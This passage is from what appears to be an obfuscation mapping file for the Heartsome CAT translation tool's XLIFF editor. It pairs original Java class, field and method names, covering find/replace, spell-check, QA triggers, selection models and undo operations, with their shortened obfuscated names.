PROPERTY_ENABLED -> PROPERTY_ENABLED + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.SignOffPropertyTester -> net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.SignOffPropertyTester: + java.lang.String PROPERTY_NAMESPACE -> PROPERTY_NAMESPACE + java.lang.String PROPERTY_ENABLED -> PROPERTY_ENABLED + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.UnTranslatedPropertyTester -> net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.UnTranslatedPropertyTester: + java.lang.String PROPERTY_NAMESPACE -> PROPERTY_NAMESPACE + java.lang.String PROPERTY_ENABLED -> PROPERTY_ENABLED + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.XLIFFEditorSelectionPropertyTester -> net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.XLIFFEditorSelectionPropertyTester: + java.lang.String PROPERTY_NAMESPACE -> PROPERTY_NAMESPACE + java.lang.String PROPERTY_ENABLED -> PROPERTY_ENABLED + boolean test(java.lang.Object,java.lang.String,java.lang.Object[],java.lang.Object) -> test +net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.AutomaticQATrigger -> net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.AutomaticQATrigger: + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.IAutomaticQA autoQA -> aap + java.lang.String CONSTANT_automaticQA_EXTENSION_ID -> aaq + java.lang.String beginAutoQa(boolean,java.lang.String,boolean) -> beginAutoQa + boolean checkAutoQA() -> checkAutoQA + void bringQAResultViewerToTop() -> bringQAResultViewerToTop + void informQAEndFlag() -> informQAEndFlag + void runExtension() -> gl + void access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.AutomaticQATrigger,net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.IAutomaticQA) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.AutomaticQATrigger$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.AutomaticQATrigger$1: + net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.AutomaticQATrigger this$0 -> aar + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.IAutomaticQA -> net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.IAutomaticQA: + java.lang.String beginAutoQa(boolean,java.lang.String,boolean) -> beginAutoQa + void setInitData(net.heartsome.cat.ts.core.file.XLFHandler) -> setInitData + void bringQAResultViewerToTop() -> bringQAResultViewerToTop + void informQAEndFlag() -> informQAEndFlag +net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.IRealTimeSpellCheck -> net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.IRealTimeSpellCheck: + java.util.List getErrorWords(java.lang.String,java.lang.String) -> getErrorWords + boolean checkLangAvailable(java.lang.String) -> checkLangAvailable +net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.RealTimeSpellCheckTrigger -> net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.RealTimeSpellCheckTrigger: + net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.RealTimeSpellCheckTrigger instance -> aiP + net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.IRealTimeSpellCheck realTimeSpell -> aiQ + java.lang.String CONSTANT_realTimeSpell_extentionId -> aiR + org.slf4j.Logger LOGGER -> LOGGER + net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.RealTimeSpellCheckTrigger getInstance() -> getInstance + boolean checkSpellAvailable(java.lang.String) -> checkSpellAvailable + java.util.List getErrorWords(java.lang.String,java.lang.String) -> getErrorWords + void runExtension() -> gl + void access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.RealTimeSpellCheckTrigger,net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.IRealTimeSpellCheck) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.RealTimeSpellCheckTrigger$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.RealTimeSpellCheckTrigger$1: + net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.RealTimeSpellCheckTrigger this$0 -> aiS + java.lang.Object val$o -> cA + void handleException(java.lang.Throwable) -> handleException + void run() -> run +net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.ImageConstant -> net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.a: + java.lang.String TU_STATE_SEARCHTM -> aas + java.lang.String TU_STATE_SEARCHTB -> aat + java.lang.String TU_STATE_ADDNOTE -> aau + java.lang.String TU_STATE_EDITNOTE -> aav + java.lang.String TU_STATE_DELETENOTE -> aaw + java.lang.String TU_STATE_DELETETRANS -> aax + java.lang.String TOOL_LAYOUT_HORIZONTAL -> aay + java.lang.String TOOL_LAYOUT_VERTICAL -> aaz + java.lang.String WEB_SEARCH -> apZ +net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages -> net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.command.FindReplaceCommand -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.command.a: + net.sourceforge.nattable.layer.ILayer context -> aaA + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ISearchStrategy searchStrategy -> aaB + java.lang.String searchText -> HG + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy cellSearchStrategy -> aaC + net.sourceforge.nattable.layer.ILayerListener searchEventListener -> aaD + net.sourceforge.nattable.layer.ILayer getContext() -> getContext + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ISearchStrategy getSearchStrategy() -> lz + java.lang.String getSearchText() -> getSearchText + net.sourceforge.nattable.layer.ILayerListener getSearchEventListener() -> getSearchEventListener + void setSearchEventListener(net.sourceforge.nattable.layer.ILayerListener) -> setSearchEventListener + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy getCellSearchStrategy() -> lA + boolean convertToTargetLayer(net.sourceforge.nattable.layer.ILayer) -> convertToTargetLayer + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.command.FindReplaceCommand cloneCommand() -> lB + net.sourceforge.nattable.command.ILayerCommand cloneCommand() -> cloneCommand +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.command.FindReplaceCommandHandler -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.command.b: + net.sourceforge.nattable.selection.SelectionLayer selectionLayer -> selectionLayer + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion searchResultCellRegion -> aaE + java.lang.Class getCommandClass() -> getCommandClass + boolean doCommand(net.sourceforge.nattable.layer.ILayer,net.heartsome.cat.ts.ui.xliffeditor.nattable.search.command.FindReplaceCommand) -> a + boolean doCommand(net.sourceforge.nattable.layer.ILayer,net.sourceforge.nattable.command.ILayerCommand) -> doCommand +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.ActiveCellRegion -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.a: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion activeCellRegion -> aaF + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion getActiveCellRegion() -> lC + void setActiveCellRegion(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.b: + net.sourceforge.nattable.coordinate.PositionCoordinate positionCoordinate -> aaG + org.eclipse.jface.text.IRegion region -> region + void setPositionCoordinate(net.sourceforge.nattable.coordinate.PositionCoordinate) -> a + net.sourceforge.nattable.coordinate.PositionCoordinate getPositionCoordinate() -> lD + void setRegion(org.eclipse.jface.text.IRegion) -> a + org.eclipse.jface.text.IRegion getRegion() -> getRegion + boolean equals(java.lang.Object) -> equals + java.lang.String toString() -> toString +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.a: + org.slf4j.Logger LOGGER -> LOGGER + boolean isOpen -> isOpen + org.eclipse.swt.widgets.Combo cmbFind -> agO + org.eclipse.swt.widgets.Combo cmbReplace -> agP + org.eclipse.swt.widgets.Button findButton -> aaJ + org.eclipse.swt.widgets.Button findNextButton -> aaK + org.eclipse.swt.widgets.Button replaceButton -> aaL + org.eclipse.swt.widgets.Button replaceAllButton -> aaM + org.eclipse.swt.widgets.Button caseSensitiveButton -> aaN + org.eclipse.swt.widgets.Label statusLabel -> aaO + org.eclipse.swt.widgets.Button forwardButton -> aaP + org.eclipse.swt.widgets.Button backwardButton -> agQ + org.eclipse.swt.widgets.Button sourceButton -> aaQ + org.eclipse.swt.widgets.Button targetButton -> agR + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ColumnSearchStrategy searchStrategy -> aaR + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy cellSearchStrategy -> aaC + org.eclipse.swt.widgets.Button wholeWordButton -> aaS + org.eclipse.swt.widgets.Button regExButton -> aaT + java.lang.String msg -> msg + int HISTORY_SIZE -> rF + java.util.List lstFindHistory -> agS + java.util.List lstReplaceHistory -> agT + org.eclipse.ui.IPartListener partListener -> aaU + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion searchResultCellRegion -> aaE + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog createDialog(org.eclipse.swt.widgets.Shell) -> c + void setSearchStrategy(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ColumnSearchStrategy,net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy) -> a + void create() -> create + boolean isResizable() -> isResizable + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + org.eclipse.jface.dialogs.IDialogSettings getDialogBoundsSettings() -> getDialogBoundsSettings + boolean close() -> close + void buttonPressed(int) -> buttonPressed + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.widgets.Control createContents(org.eclipse.swt.widgets.Composite) -> createContents + org.eclipse.swt.widgets.Composite createConfigPanel(org.eclipse.swt.widgets.Composite) -> Q + org.eclipse.swt.widgets.Composite createButtonSection(org.eclipse.swt.widgets.Composite) -> R + org.eclipse.swt.widgets.Composite createStatusAndCloseButton(org.eclipse.swt.widgets.Composite) -> S + org.eclipse.swt.widgets.Composite createInputPanel(org.eclipse.swt.widgets.Composite) -> T + org.eclipse.swt.widgets.Composite createRangePanel(org.eclipse.swt.widgets.Composite) -> U + org.eclipse.swt.widgets.Composite createOptionsPanel(org.eclipse.swt.widgets.Composite) -> V + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion find(int,int) -> h + boolean doFind() -> lE + boolean doFindNext() -> lF + void doReplace() -> lG + void doReplaceAll() -> lH + void refreshMsgAndTable() -> lI + void setEnable() -> lJ + void setSearchText(java.lang.String) -> setSearchText + void readDialogSettings() -> kP + void writeDialogSettings() -> kQ + void writeHistory(java.util.List,org.eclipse.jface.dialogs.IDialogSettings,java.lang.String) -> a + org.eclipse.jface.dialogs.IDialogSettings getDialogSettings() -> getDialogSettings + void updateCombo(org.eclipse.swt.widgets.Combo,java.util.List) -> b + boolean okToUse(org.eclipse.swt.widgets.Control) -> c + void updateFindAndReplaceHistory() -> mV + void updateFindHistory() -> mW + void updateHistory(org.eclipse.swt.widgets.Combo,java.util.List) -> a + boolean access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> a + void access$1(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> b + boolean access$2(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> c + void access$3(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> d + void access$4(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> e + void access$5(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> f + void access$6(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> g + org.eclipse.swt.widgets.Button access$7(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> h + org.eclipse.swt.widgets.Button access$8(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> i + org.eclipse.swt.widgets.Button access$9(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> j + org.eclipse.swt.widgets.Combo access$10(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> k + org.eclipse.swt.widgets.Button access$11(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> l + org.eclipse.swt.widgets.Button access$12(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> m + void access$13(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog,net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion) -> a + org.eclipse.swt.widgets.Label access$14(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> n + org.eclipse.swt.widgets.Button access$15(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> o + org.eclipse.swt.widgets.Button access$16(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> p + org.eclipse.swt.widgets.Button access$17(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> q + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ColumnSearchStrategy access$18(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> r + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy access$19(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> s + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion access$20(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> t + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion access$21(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog,int,int) -> a + void access$22(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog) -> u +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.b: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog this$0 -> aaV + void partActivated(org.eclipse.ui.IWorkbenchPart) -> partActivated + void partOpened(org.eclipse.ui.IWorkbenchPart) -> partOpened + void clearActiveCellRegion(org.eclipse.ui.IWorkbenchPart) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$10 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.c: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog this$0 -> aaV + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$11 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.d: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog this$0 -> aaV + int val$startingRowPosition -> aaW + int val$startOffset -> aaX + void run() -> run + net.sourceforge.nattable.layer.ILayerListener initSearchEventListener() -> lK + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog access$0(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$11) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$11$1 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.e: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$11 this$1 -> aaY + void handleLayerEvent(net.sourceforge.nattable.layer.event.ILayerEvent) -> handleLayerEvent +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$2 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.f: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog this$0 -> aaV + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$3 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.g: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog this$0 -> aaV + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$4 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.h: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog this$0 -> aaV + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$5 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.i: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog this$0 -> aaV + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$6 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.j: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog this$0 -> aaV + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$7 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.k: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog this$0 -> aaV + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$8 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.l: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog this$0 -> aaV + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog$9 -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.m: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog this$0 -> aaV + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.event.FindReplaceEvent -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.event.a: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion cellRegion -> aaZ + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion getCellRegion() -> lL + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.event.FindReplaceEvent cloneEvent() -> lM + net.sourceforge.nattable.layer.event.ILayerEvent cloneEvent() -> cloneEvent +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.CellDisplayValueSearchUtil -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.a: + java.util.List getCellCoordinates(net.sourceforge.nattable.layer.ILayer,int,int,int,int,boolean) -> a + java.util.List getDescendingCellCoordinates(net.sourceforge.nattable.layer.ILayer,int,int,int,int,boolean) -> b + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion findCell(net.sourceforge.nattable.layer.ILayer,net.sourceforge.nattable.config.IConfigRegistry,net.sourceforge.nattable.coordinate.PositionCoordinate[],java.lang.Object,net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ColumnSearchStrategy -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.b: + net.sourceforge.nattable.layer.ILayer contextLayer -> aba + int[] columnPositions -> abb + int startingRowPosition -> abc + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + net.sourceforge.nattable.config.IConfigRegistry configRegistry -> Zh + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy cellSearchStrategy -> aaC + boolean isHorizontalLayout -> YD + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion executeSearch(java.lang.Object) -> d + void setStartingRowPosition(int) -> setStartingRowPosition + void setColumnPositions(int[]) -> setColumnPositions + net.sourceforge.nattable.coordinate.PositionCoordinate[] getColumnCellsToSearch(net.sourceforge.nattable.layer.ILayer) -> getColumnCellsToSearch + net.sourceforge.nattable.layer.ILayer getContextLayer() -> getContextLayer + void setContextLayer(net.sourceforge.nattable.layer.ILayer) -> setContextLayer + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy getCellSearchStrategy() -> lA + void setCellSearchStrategy(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.DefaultCellSearchStrategy -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.c: + boolean searchForward -> abd + int startOffset -> abe + boolean caseSensitive -> caseSensitive + boolean wholeWord -> abf + boolean regExSearch -> abg + org.eclipse.jface.text.IRegion executeSearch(java.lang.String,java.lang.String) -> V + boolean isCaseSensitive() -> isCaseSensitive + boolean isWholeWord() -> lN + boolean isRegExSearch() -> lO + boolean isSearchForward() -> lP + int getStartOffset() -> getStartOffset + void setStartOffset(int) -> setStartOffset + void init(boolean,boolean,boolean,boolean,int) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.d: + org.eclipse.jface.text.IRegion executeSearch(java.lang.String,java.lang.String) -> V + void init(boolean,boolean,boolean,boolean,int) -> a + boolean isSearchForward() -> lP +net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ISearchStrategy -> net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.e: + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion executeSearch(java.lang.Object) -> d + void setContextLayer(net.sourceforge.nattable.layer.ILayer) -> setContextLayer + net.sourceforge.nattable.layer.ILayer getContextLayer() -> getContextLayer + net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy getCellSearchStrategy() -> lA + void setCellSearchStrategy(net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ICellSearchStrategy) -> a +net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.HorizontalRowSelectionModel -> net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.a: + net.sourceforge.nattable.selection.SelectionLayer selectionLayer -> selectionLayer + org.eclipse.swt.graphics.Rectangle lastSelectedRange -> abi + java.util.Set selectedRows -> abj + java.util.Set lastSelectedRowIds -> abk + java.util.concurrent.locks.ReadWriteLock selectionsLock -> abl + java.util.concurrent.locks.ReadWriteLock getSelectionsLock() -> lQ + void clearSelection() -> clearSelection + boolean isColumnPositionSelected(int) -> isColumnPositionSelected + int[] getSelectedColumns() -> getSelectedColumns + void addSelection(int,int) -> addSelection + void addSelection(org.eclipse.swt.graphics.Rectangle) -> addSelection + int[] getFullySelectedColumns(int) -> getFullySelectedColumns + int[] getFullySelectedRows(int) -> getFullySelectedRows + int getSelectedRowCount() -> getSelectedRowCount + java.util.Set getSelectedRows() -> getSelectedRows + java.util.List getSelections() -> getSelections + boolean isCellPositionSelected(int,int) -> isCellPositionSelected + boolean isColumnFullySelected(int,int) -> isColumnFullySelected + boolean isEmpty() -> isEmpty + boolean isRowFullySelected(int,int) -> isRowFullySelected + boolean isRowPositionSelected(int) -> isRowPositionSelected + void removeSelection(org.eclipse.swt.graphics.Rectangle) -> removeSelection + void removeSelection(int,int) -> removeSelection +net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.IRowIdAccessor -> net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.b: + java.io.Serializable getRowIdByPosition(int) -> getRowIdByPosition + java.util.Set getRowIdsByPositionRange(int,int) -> getRowIdsByPositionRange + java.util.ArrayList getRowIds() -> getRowIds +net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.RowSelectionProvider -> net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.c: + net.sourceforge.nattable.selection.SelectionLayer selectionLayer -> selectionLayer + boolean fullySelectedRowsOnly -> abm + java.util.Set listeners -> abn + int currentRowPosition -> Zd + void addSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> addSelectionChangedListener + org.eclipse.jface.viewers.ISelection getSelection() -> getSelection + void removeSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> removeSelectionChangedListener + void setSelection(org.eclipse.jface.viewers.ISelection) -> setSelection + void handleLayerEvent(net.sourceforge.nattable.layer.event.ILayerEvent) -> handleLayerEvent +net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.VerticalRowSelectionModel -> net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.d: + net.sourceforge.nattable.selection.SelectionLayer selectionLayer -> selectionLayer + net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.IRowIdAccessor rowIdAccessor -> abh + org.eclipse.swt.graphics.Rectangle lastSelectedRange -> abi + java.util.Set selectedRows -> abj + java.util.Set lastSelectedRowIds -> abk + java.util.concurrent.locks.ReadWriteLock selectionsLock -> abl + java.util.concurrent.locks.ReadWriteLock getSelectionsLock() -> lQ + void clearSelection() -> clearSelection + boolean isColumnPositionSelected(int) -> isColumnPositionSelected + int[] getSelectedColumns() -> getSelectedColumns + void addSelection(int,int) -> addSelection + void addSelection(org.eclipse.swt.graphics.Rectangle) -> addSelection + int[] getFullySelectedColumns(int) -> getFullySelectedColumns + int[] getFullySelectedRows(int) -> getFullySelectedRows + int getSelectedRowCount() -> getSelectedRowCount + java.util.Set getSelectedRows() -> getSelectedRows + java.util.List getSelections() -> getSelections + boolean isCellPositionSelected(int,int) -> isCellPositionSelected + boolean isColumnFullySelected(int,int) -> isColumnFullySelected + boolean isEmpty() -> isEmpty + boolean isRowFullySelected(int,int) -> isRowFullySelected + boolean isRowPositionSelected(int) -> isRowPositionSelected + void removeSelection(org.eclipse.swt.graphics.Rectangle) -> removeSelection + void removeSelection(int,int) -> removeSelection + java.io.Serializable getRowIdByPosition(int) -> getRowIdByPosition +net.heartsome.cat.ts.ui.xliffeditor.nattable.sort.NatTableSortModel -> net.heartsome.cat.ts.ui.xliffeditor.nattable.sort.a: + java.util.List sortedColumnIndexes -> abo + java.util.List sortOrders -> abp + java.util.List sortDirections -> abq + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + int[] $SWITCH_TABLE$net$sourceforge$nattable$sort$SortDirectionEnum -> abr + net.sourceforge.nattable.sort.SortDirectionEnum getSortDirection(int) -> getSortDirection + int getSortOrder(int) -> getSortOrder + boolean isColumnIndexSorted(int) -> isColumnIndexSorted + void sort(int,net.sourceforge.nattable.sort.SortDirectionEnum,boolean) -> sort + void clear() -> clear + int[] $SWITCH_TABLE$net$sourceforge$nattable$sort$SortDirectionEnum() -> lR +net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.ApproveOperation -> net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.a: + java.util.List rowIdList -> abs + net.sourceforge.nattable.NatTable table -> XF + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + boolean approve -> abt + org.eclipse.core.runtime.IStatus execute(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> execute + org.eclipse.core.runtime.IStatus redo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> redo + org.eclipse.core.runtime.IStatus undo(org.eclipse.core.runtime.IProgressMonitor,org.eclipse.core.runtime.IAdaptable) -> undo + void changeTransUnitBeanProperties(boolean) -> H +net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.DeleteAltTransOperation -> net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.b: + net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable xliffEditor -> xX + net.heartsome.cat.ts.core.file.XLFHandler handler -> Mg + java.util.List rowIds -> abu + java.util.Map segmentCache -> abv + org.eclipse.core.runtime.IStatus 